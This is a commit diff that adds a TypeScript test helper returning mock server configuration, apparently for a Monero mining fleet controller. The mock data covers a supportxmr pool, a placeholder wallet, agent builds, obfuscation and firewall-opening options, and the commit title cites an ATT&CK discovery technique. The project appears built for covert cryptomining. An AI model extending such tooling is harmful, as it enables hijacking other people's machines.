feat: T1007 System Service Discovery - fixed allowlist probe in posture heartbeat

This commit is contained in:
AetherForge
2026-05-30 23:16:50 -07:00
parent 4207f6c21b
commit d010292333
26 changed files with 2499 additions and 134 deletions

View File

@@ -1,4 +1,50 @@
import type { Agent, Share, ServerInfo } from '../types';
import type { Agent, Share, ServerConfig, ServerInfo } from '../types';
const VALID_XMR_WALLET = '4' + 'A'.repeat(94);
export function mockServerConfig(overrides: Partial<ServerConfig> = {}): ServerConfig {
return {
port: 8080,
data_dir: './data',
pool: {
host: 'pool.supportxmr.com',
port: 3333,
use_tls: false,
password: 'x',
...(overrides.pool ?? {}),
},
wallet: {
address: VALID_XMR_WALLET,
payment_id: '',
...(overrides.wallet ?? {}),
},
server: {
public_url: 'http://192.168.1.5:8080',
stats_retention_hours: 168,
build_retention_days: 30,
pool_reconnect_seconds: 30,
websocket_ping_seconds: 30,
max_agents: 256,
max_build_size_mb: 150,
log_agent_connections: true,
log_share_submissions: false,
log_pool_traffic: false,
strict_wallet_validation: false,
dashboard_subtitle: 'security is just an emotion',
open_firewall_on_start: true,
obfuscate_default: false,
sign_enabled: false,
...(overrides.server ?? {}),
},
alerts: {
offline_threshold_minutes: 5,
hashrate_drop_threshold_pct: 50,
rejection_rate_threshold_pct: 5,
...(overrides.alerts ?? {}),
},
...overrides,
};
}
export function mockAgent(overrides: Partial<Agent> = {}): Agent {
return {